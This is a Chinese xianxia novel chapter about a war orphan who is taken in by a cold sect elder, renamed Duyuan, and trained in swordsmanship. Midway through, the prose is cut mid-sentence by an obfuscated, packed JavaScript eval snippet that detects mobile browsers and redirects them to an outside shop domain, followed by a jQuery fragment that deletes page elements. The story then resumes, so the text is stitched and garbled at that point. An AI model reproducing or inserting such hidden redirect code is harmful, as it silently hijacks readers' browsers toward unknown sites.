陈佑娣记得新家门口有一棵枣树，秋天的时候枣子红了，打下来用井水冰过，又甜又脆。她记得干娘做的枣糕，切得方方正正的，上面撒一层芝麻，咬一口满嘴香。她记得干爹的胡茬，扎在脸上痒痒的，她每次都躲，爹就笑，笑声很大，隔壁的婶婶都能听见。
后来什么都没有了。
那一年下界战争四起。比国与国的战争更加残暴，是修士与修士的战争。
两个宗门为了争夺一条灵脉，从山上打到山下，从城里打到城外，波及了十几个村镇。
陈佑娣住的村子在战场边缘，一开始还算安全，村民们照常种地、赶集、过日子。
爹说没事，打不到咱们这儿。娘说没事，上面的大宗门会管的。
陈佑娣信了。
一天晚上，她被一声巨响震醒了。她从床上爬起来，跑到窗户边往外看。天边是红的，火的红。半个天空都被烧着了，云层里电闪雷鸣，地面在震动，桌上的茶杯掉在地上摔碎了。爹冲进她的房间，把她从床上抱起来，塞进娘的怀里。
“快走！往南走！别回头！”爹的声音很大，比任何时候都大。他的脸上有泥，有汗，还有一道血痕，不知道是被什么划的。
“你呢？”
“我去看看隔壁。那老人家一个人，腿脚不好。”爹抓起门边的锄头，冲了出去。
那是她最后一次看见爹。
娘抱着她往南跑。路上全是人，有的背着包袱，有的牵着孩子，有的什么也没带，只是拼命地跑。
天越来越红，地越来越震，身后传来轰隆隆的声音。
陈佑娣趴在娘的肩膀上，看着身后的村子越来越小，越来越远，最后变成了一团模糊的黑影。那团黑影还是被火光吞没了。
她们跑了三天三夜。没有吃的，没有喝的，娘把最后一块干粮给了陈佑娣，自己喝水充饥。
娘说不饿。陈佑娣知道娘在骗她，她把干粮掰成两半，一半塞进娘的手里，一半自己吃。娘看着那半块干粮，眼泪掉了下来。陈佑娣没有哭。也许是因为她太小了，还不懂得哭。也许是因为她知道，哭了也没有用。
她们遇到了几个逃难的人。那些人说前面有一座城，城门还开着，城里有一个大宗门的人在发粮食。娘的眼睛亮了，抱起陈佑娣，跟着那些人往前走。走到城门口的时候，她们被拦住了。守城的士兵说要交钱才能进城，一个人五两银子。娘没有五两银子。她把头上的银簪拔下来，又把手上唯一的镯子褪下来，全部塞给士兵。士兵掂了掂，嫌少，不让进。娘跪下来求他，说孩子还小，求求您行行好。士兵不为所动，只是收了银簪和镯子，让她们滚。
娘哭了，眼泪一颗一颗砸在陈佑娣身上。她牵着陈佑娣的手，离开城门，往别处走。
陈佑娣回头看那座城，看见城墙很高，城门很宽，里面有很多人。她不知道那些人有没有交五两银子。她只知道，她和娘进不去，娘最爱的首饰也没有了。
她们走了很远，走到了一座破庙里。庙不大，供着一尊不知道叫什么名字的神像，只是那神像怀里还有个小孩子，两人手中都执着长剑。墙上全是裂缝，风从裂缝里灌进来，呜呜地响。
娘把陈佑娣放在干草堆上，娘说“你乖，娘很快就回来”。
陈佑娣不说话了。她坐在干草堆上，看着娘走出破庙，看着娘的身影消失在暮色里。
娘没有回来。
陈佑娣等了一天，两天，三天。她把干草堆里的干草嚼了嚼咽下去，渴了就去庙后面的水沟里捧水喝。
水是浑的，有一股土腥味，但她喝了很多。第四天，她肚子痛的冒虚汗，她还是走出了破庙。她不知道要去哪里，但她知道不能一直等下去。娘不会回来了。
她沿着路往前走，走了一天又一天。她经过了许多村子，大多已经空了，房子塌了，地上全是碎瓦片。有些还有人，但那些人要么当作没看见她，要么扔给她一块干粮，说“走吧，走吧”。她把干粮捡起来，塞进怀里，继续走。
她不哭，不求，不跟任何人走。
半个月后，她走到了一座更大的城。城门口没有人收钱，因为城门已经倒了。城墙被轰出了一个大洞，碎石堆了一地。
城里到处都是人，在哭，在喊，还有的躺在地上一动不动。
陈佑娣走进城，从那些人的缝隙里穿过去。她不知道自己要找什么，只是想着应该往人多的地方走。
她走到了一片空地上。空地上搭了几顶布帐篷，帐篷前面排着长队，有人在发粥。
陈佑娣站在队伍最后面，等了一个时辰，轮到她的时候，粥桶已经空了。发粥的人看了她一眼，说“明天早点来”。陈佑娣没有说话，转身走了。
她走到城墙根下，找了一个避风的角落，蹲下来，抱着膝盖。
她摸了摸怀里的干粮，还剩一小块，够吃一天。她掰了一半嚼了，把另一半重新包好，塞回怀里。
那天晚上，她听见了打雷的声音。地面在震动，比村子里那次还厉害。她从城墙根下探出头，看见城北的方向有光在闪，紫色的，红色的，白色的，把半个天空都照亮了。
有人在喊“仙人来了”“快跑”“不要打了”。
陈佑娣跟着人群往城南跑。跑了几步，慢慢停了下来。
她看见一道身影。
那人从火光里走出来，逆着光，看不清脸。他穿着一身蓝白袍，束着高马尾，腰间挂着一把剑，衣袍上有血。他的脚步很稳，不快不慢，仿佛是在自己家的院子里散步。他走过那些哭喊的人群，走过那些倒塌的房屋，走过那些燃烧的帐篷，没有回头看一眼。
陈佑娣站在城墙根下，看着他走过来，她没有跑，她跑不动了。
这个人走过她身边的时候，脚步停了一下。他低下头，似是看了她一眼。
那是一双蓝色的眼睛。万分冷淡，如同结了一层厚厚的冰。
陈佑娣看不见冰下面有什么。她只是觉得这双眼睛很好看，觉得这个人能救她。
“你怎么一个人在这里？”他的声音也毫无起伏，与陈佑娣想象的一样。
陈佑娣怔怔看着他，忘了回答。
他从怀里摸出一块干粮，递给她。干粮是油纸包着的，还带着温度。
陈佑娣接过来，看着他的脸在火光里逐渐模糊。
那人转身走了。
陈佑娣站在原地看着他的背影，看着他走出城门，消失在夜色里。
她低下头，打开油纸，里面是一块饼。饼是白面的，还热着，上面撒了几粒芝麻。
她咬了一口，嚼了嚼，咽下去。
吃着吃着，眼泪就掉了下来。从她离开村子到现在，她一滴眼泪都没有掉过，已经掉干了吧。她把饼吃完了，把眼泪擦干了，蹲回城墙根下，抱着膝盖，阖上眼睛。
她不知道那个人是谁，但她记住了他的脸。
天亮，陈佑娣继续走。
她心中一片死灰，不晓得该往哪走。她往南走，走过了一片又一片废墟，走过了一个又一个村子。路上有很多尸体，一些已经腐烂了，苍蝇围着嗡嗡地飞。她从尸体旁边走过去，这些景象太常见了，她已然麻木。
她走了一个多月，走到了一个叫川岩镇的地方。
镇子不大，很热闹。街上有卖菜的、卖布的、卖包子的，吆喝声此起彼伏。
陈佑娣站在街口，看着那些来来往往的人，觉着有些不真实。她已经在废墟里走了太久了，久到她以为这个世界只剩下废墟。
她蹲在街角，看着对面包子铺的蒸笼冒着白茫茫的热气。她闻到了包子的香味，肚子咕噜咕噜地叫。她摸了摸怀里，什么都没有了。干粮早就吃完了，最后一块饼是三天前吃的。她把手指塞进嘴里，咬着指尖，不让自己去看那些包子。
“小姑娘，你怎么一个人在这里？”
一个声音从头顶传来。陈佑娣抬起头，看见一个胖胖的妇人站在她面前，手里挎着一个篮子，篮子里装着几棵白菜。妇人的脸上带着笑。
陈佑娣没有说话。她站起来，往后退了一步。
“别怕。”妇人蹲下来，和她平视，“你家大人呢？”
陈佑娣摇了摇头。
“你是逃难来的？”妇人的声音更柔了，“饿不饿？我家里有吃的，你跟我来。”
陈佑娣又退了一步。这一个月里，她见过太多“好心人”了。有人给她吃的，摸她的头，摸她的脸，手越来越往下。她跑了。有人说带她去找爹娘，把她带到一个黑屋子里，门从外面锁上了。她从窗户爬出来的。
妇人看她退后，叹了口气，从篮子里拿出一个馒头，放在地上。
“馒头给你，我走了。”她站起来，转身走了几步，又回头看了一眼。
陈佑娣看着地上的馒头，看了很久。她慢慢挪过去，捡起来，塞进嘴里。馒头是凉的，硬邦邦的，但她嚼得很香。
她吃完馒头，又蹲回街角，抱着膝盖。
她在川岩镇待了三天。白天在街角蹲着，晚上在巷子里睡觉。她不去找任何人，也不跟任何人走。有人给她吃的，她接了，不说话。有人想摸她，她躲开。有人问她的名字，她不回答。
第四天，她看见了一个熟悉的陌生人。
那个人从街尾走过来，穿着一身蓝白袍，腰间挂着一把看着就贵的剑。他走得不快不慢，目光平视前方，不看任何人。街上的行人看见他，纷纷让路，有人小声说“清泉宗的仙长”，有人低头行礼，有人拉着孩子躲进铺子里。
陈佑娣认出了他。是之前那个给她饼的人。她从城墙根下站起来，跑过去。她跑得很快，像一只被追赶的兔子。她跑到他面前，挡住了他的路。
他停下来，低下头，看着她。
陈佑娣喘着气，看着他。他的脸和那天晚上一样冷淡。他看着她，他不记得她了。
陈佑娣知道。他不会记得一个城墙根下的小叫花子。
“你叫什么名字？”
陈佑娣张了张嘴，发不出声音。
她已经很久没有说话了，久到她不记得上一句话是什么时候说的。
“……不好听。”她的声音很小，小到像是从嗓子眼里挤出来的。
“那便罢了，你认识我？”
陈佑娣摇了摇头。她不认识，她不知道他叫什么，不知道他是哪来的，不知道他为什么给她饼。
“你救过我。”陈佑娣的声音比刚才大了些，“那天晚上，在城里，你给了我一块饼。”
他想了想，似乎没有想起来。他没有否认。
“所以呢？”
陈佑娣被噎住了，答不上话来，那人也懒得多费口舌，拂袖离开。
陈佑娣跟在他后面。他走到镇口，牵了一匹马，翻身上马。渡鸢站在马旁边，仰着头看他。
“别跟着我。”
陈佑娣停下脚步，他策马走了。她站在原地，看着他的背影消失在官道上，站了很久。
她迈开腿，沿着官道，往他去的方向跑。
她跑了很远。跑到天黑，跑到天亮，跑到脚底磨出了血泡，她没有停。
好像只要沿着这条路一直跑，就能追上他。
第三天傍晚，她在一座山脚下看见了他。他坐在一块石头上，手里拿着一本书，正在看。马在旁边吃草，尾巴一甩一甩的。他听见脚步声，抬起头，看见了她。
他的眉头微微皱了一下。
“你追了我两天。”
陈佑娣喘着气，说不出话。她的腿在发抖，脚上的鞋已经破了，露出磨出血的脚。她的脸上全是灰，头发乱糟糟的，衣袍破了好几个洞。
“为什么？”
陈佑娣深吸了一口气。
“因为你救了我的命，恩人。”
他看着她，看了一会儿，合上了书。
“想好了？你叫什么名字？”
“陈佑娣。”
那人的动作顿了片刻。
“你家里人不喜欢你？”
“我干爹干娘喜欢的。”
他没有再问这个问题。
“家在哪里？”
“没有了。”
“家人呢？”
“没有了。”
他沉默了，只是将手中的书展开放到陈佑娣跟前。
“认识字吗？”
“不认识。”
“随便挑个看着顺眼的。”
陈佑娣眯着眼仔细打量着那些她看不懂的字符，蓦地眼前一亮，指了指字行间一个“鸢”字。
“这个好看。”
那人垂眸看去，正是那“鸢飞戾天”的“鸢”。
“鸢飞戾天可不是什么好意思。”
“什么意思？”
“追求名利。”
“？？？”
“……就是抢椅子，挤来挤去就为了抢一把椅子。”
陈佑娣笑了。
“那我就要这个，鸢飞戾天又如何，我就要抢那把椅子！”
他看着她，很久没有说话。陈佑娣不知道他在想什么，满心期待着他的答复。
“渡鸢。这个名字怎么样？”
“原来恩人是要给我取名字，很好，就这个了。”
“你在这里等着。”他放下书，转身上了马。
渡鸢站在原地，捧着书，没有追。他说等着，她就等着。她坐在他刚才坐的那块石头上，百无聊赖地翻着恩人留下的书，等了一天一夜。
第二天傍晚，他回来了。他身后跟着一匹马，马上没有人。
他下了马，走到她面前。
“跟我走。”
渡鸢站起来，腿麻了，晃了一下，差点摔倒。他伸手稳稳扶住了她的胳膊。他的手很凉，隔着衣料也能感觉到。
他扶着她走了几步，把她扶上马。自个儿翻身上了另一匹马，牵着她的缰绳，沿着山路往上走。
“你叫什么名字？”
“姓楚，名无毓。”
楚无毓把她带到了清泉宗。
清泉宗很大，比渡鸢见过的任何地方都大。山门很高，石阶很长，房子很多。她跟在楚无毓身后，走过一条又一条回廊，经过一个又一个院子。路上的弟子看见楚无毓，都停下来行礼。楚无毓没有看他们，只是往前走。
他把渡鸢带到了一个偏殿。偏殿不大，很安静。院子里有一棵老树，树冠遮住了半个院子。地上落了一层细碎的叶片，没有人扫。
“你住这里。”楚无毓推开一间房的门，“明日会有人给你送衣裳和被褥。不要乱跑。”
渡鸢站在房间里，看着那张空荡荡的床，看着那扇关不严的窗户，看着墙角那个破了口
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17647509|206813||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的瓷盆。她还没反应过来，恩人收留她了，还给她住大房子。
她转过身，想跟楚无毓道声谢谢，但他已经走远了。
她看着他的背影消失在院门外。她站在门口，站了很久。
她关上门，走到床边，坐下来。
床板上铺了一层稻草，硬邦邦的，不过比城墙根下的泥地软多了。她躺下来，把腿伸直，看着头顶的房梁。
她闭上眼睛。这是她离开爹娘以来，第一次睡在屋顶下面。
第二天，果真有人送来了衣裳和被褥。衣裳是灰色的，粗布的，比她穿的破衣服好多了。被褥是蓝底白花的，叠得整整齐齐，抱在怀里有一股皂角的气味。
渡鸢把被褥铺好，把衣裳换上，站在铜镜前看了看自己。
镜子里的人颧骨突出，下巴尖尖的，头发乱糟糟的。她用木梳把头发梳了梳，用从旧衣裳上撕下来的一根布条绑了一个马尾。
她走出房间，站在院子里。她蹲下来，捡起一片落叶，放在掌心里看。叶子是黄色的，边缘已经卷了，叶脉清晰得宛如一张地图。
她有了恩人，有了新名字，有了住处，她不想再流浪了。
楚无毓每天都会来偏殿。他来的时候，渡鸢就坐在院子里的老树下，不出声。两人相继无言。她只是看着他从院门口走进来，看着他推开主殿的门，看着他坐在案前看书，看着他端着茶杯喝茶，看着他在暮色中离开。
她看了很久，久到她把他的每一个动作都记在了心里。
有一天，楚无毓批完案卷，站起来，走到窗前。他看见渡鸢坐在槐树下，手里拿着一根树枝，在地上画着什么。他扫了她一眼就收回目光。
渡鸢低下头，看着自己画的东西。她画了一把剑。歪歪扭扭的，剑刃是弯的，剑格是斜的，剑柄比剑身还长。她看着那把歪歪扭扭的剑，看了很久，把它擦掉了。
过了几天，楚无毓来偏殿的时候，看见渡鸢在院子里练功，是她自己练的。她在扎马步，腿在发抖，额头上全是汗，但她咬着牙，一声不吭。楚无毓站在院门口，淡淡看了她一会儿。
“谁教你的？”
渡鸢收了马步，转过身。
“没有人。我偷看的。”
“偷看谁？”
“山下的那些自称弟子的。”渡鸢垂下眼睑，“他们每天早晨在山脚下练功，我躲在树后面看的。”
“你没有天赋。”
渡鸢知道的。她在山下偷看那些弟子练功的时候，听见有人说过，说她是废物，说楚长老捡了个没用的东西回来。她不在乎，她只想变强。强到能保护自己，强到不再被人欺负，强到不会什么都抓不住。
“我知道我没有天赋，我不怕吃苦。”
楚无毓转身进了主殿，关上了殿门。渡鸢立在院子里，看着那扇关上的门，她蹲下来，继续扎马步。腿在发抖，她没有起来。她蹲到太阳落山，蹲到月亮升起来，蹲到腿不再发抖了，蹲到腿没有了知觉。她站起来的时候，摔了一跤，膝盖磕在青石板上，疼得她直冒冷汗。她爬起来，拍了拍灰，一瘸一拐地回了房间。
第二天，楚无毓来偏殿的时候，手里拿着一把木剑。他把木剑放在槐树下的石桌上。
“先用这个。等你练好了，再给你真的。”
渡鸢看向那把木剑，木剑做得很粗糙，剑刃没有开锋，剑柄上缠着麻绳。
她伸手拿起来，握在手心里。木剑比她想象的轻得多。她挥了一下，剑刃划过空气，发出凌厉的破风声。
“多谢恩人。”
“我不是你的恩人。”楚无毓的声音很平淡，“叫我楚长老。”
渡鸢低下头。
“是，楚长老。”
楚无毓进了主殿。渡鸢站在院子里，握着那把木剑，她垂着脑袋看着手里的木剑，剑柄上的麻绳有些扎手。她把剑举到眼前，看了一会儿。
“楚长老。”她的声音很坚定，“我会努力的。”
她练得很苦。每天天不亮就起来扎马步，挥剑，跑步，爬坡。
她的身体底子好，从来不喊累，从来不偷懒，从来不比任何人早退。
她把木剑挥了上万次，挥到手臂抬不起来，挥到虎口磨出了血泡，血泡破了又结痂，结了痂又磨破。她没有天赋，唯有的冰灵根微弱的不行，只能练体术。体术不需要灵根，只需要汗水和时间。她有的是汗水和时间。
一年后，楚无毓给了她一把真的剑。
剑是铁打的，沉甸甸的，握在手里和木剑完全不一样。剑刃开了锋，在阳光下泛着冷冽的光。剑鞘是黑色的，没有花纹，干干净净的，和渡鸢这个人一样利落。
渡鸢把剑拔出来，在手里掂了掂，挥了一下。剑刃划过空气，发出一声清脆的嗡鸣。
“多谢楚长老。”
楚无毓看着她。
“你的体术已经入门了。从今日起，我教你剑法。”
渡鸢的眼睛亮了一下。
“是。”
楚无毓教她的第一套剑法，就叫“十三式”。十三式，每一式都很简单，只追求对。剑尖该往哪走就往哪走，不多一寸，不少一寸。
渡鸢学得很慢，因为她没有灵力，只能用身体去记住每一个动作。楚无毓不催她，一招一式地教，教完就走。
渡鸢把每一式都练了上千遍。她在院子里练，在后山练，在梦里练。她把十三式练成了身体的本能，闭着眼睛都能打出来。
楚无毓从来没有夸过她。渡鸢只需要知道，她还在进步，她还能变得更强。
练了几年，恰逢清泉宗有一个小比试。只是弟子们之间的切磋。渡鸢报名了。她是戒律司的弟子，用的是体术和霜气。没有人看好她。有人说“渡鸢师姐没有灵根，怎么打”，有人说“楚长老教了她这么久，应该不会太差”，有人说“看看再说”。
渡鸢打穿了整个擂台。
她的对手有练气期的，有筑基期的，有比她高两个境界的。她不在乎。她的剑比他们快，她的霜气比他们冷，她的意志比他们坚定。她赢了。赢了所有人。
比试结束后，楚无毓站在擂台下面看着她。
“做得不错。”
渡鸢站在擂台上，手里握着剑，喘着气。
“多谢楚长老。”
楚无毓转身离开。渡鸢站在擂台上，看着他的背影，看了很久。风吹过来，把她的头发吹起来，拂在脸上。她把剑收回鞘里，走下擂台。那四个字。她终于等到了。
后来，清泉宗正式收她为弟子，楚无毓的弟子。她不需要叫“楚长老”了。楚无毓没有看她，只是“嗯”了一声。渡鸢笑了。她站在偏殿的院子里，站在那棵老槐树下，把剑挂在腰间。
他给了她一块饼，给了她一个名字，给了她一把木剑，给了她一把真的剑。
她把“渡鸢”两个字记在心里，记了一辈子。
渡鸢长大了。她成了清泉宗戒律司的首席大弟子，成了楚无毓信赖的人。
她有了自己的剑，自己的路。
她坐在偏殿的院子里，掀起眸子看向那棵老树，叶子黄了又绿，绿了又黄，一年又一年。她低头看向剑刃上自己的倒影，她和师尊不像，只是很多人都说像，气质像，往那一站就看得出来她是楚无毓的弟子。一样的冷，一样的淡，一样的让人不敢靠近。